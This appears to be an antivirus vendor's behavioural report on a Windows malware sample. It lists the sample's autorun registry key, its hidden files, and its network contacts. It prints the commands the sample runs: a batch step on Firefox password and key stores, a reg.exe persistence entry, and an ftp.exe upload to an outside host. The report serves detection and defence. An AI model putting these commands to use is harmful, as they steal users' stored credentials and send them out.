Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'nvdai' = '<SYSTEM32>\nvdai.exe'
Malicious functions:
Executes the following:
- <SYSTEM32>\cmd.exe /c ""%WINDIR%\nvdai.bat" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\key3.db""
- <SYSTEM32>\cmd.exe /c ""%WINDIR%\nvdai.bat" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\signons2.txt""
- <SYSTEM32>\ftp.exe -n -s:ftpcmd.dat karlheinz1488.ka.funpic.de
- <SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "nvdai" /t REG_SZ /d "<SYSTEM32>\nvdai.exe" /f
- <SYSTEM32>\cmd.exe /c ""%WINDIR%\nvdai.bat" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\cert8.db""
Modifies file system :
Creates the following files:
- <Current directory>\ftpcmd.dat
- %WINDIR%\nvdai.bat
- <SYSTEM32>\nvdai.exe
Sets the 'hidden' attribute to the following files:
- <SYSTEM32>\nvdai.exe
Deletes the following files:
- %WINDIR%\nvdai.bat
- <Current directory>\ftpcmd.dat
Network activity:
Connects to:
- 'localhost':1039
- 'localhost':1041
- 'ka######z1488.ka.funpic.de':21
- 'localhost':1038
UDP:
- DNS ASK ka######z1488.ka.funpic.de
Miscellaneous:
Searches for the following windows:
- ClassName: 'ConsoleWindowClass' WindowName: ''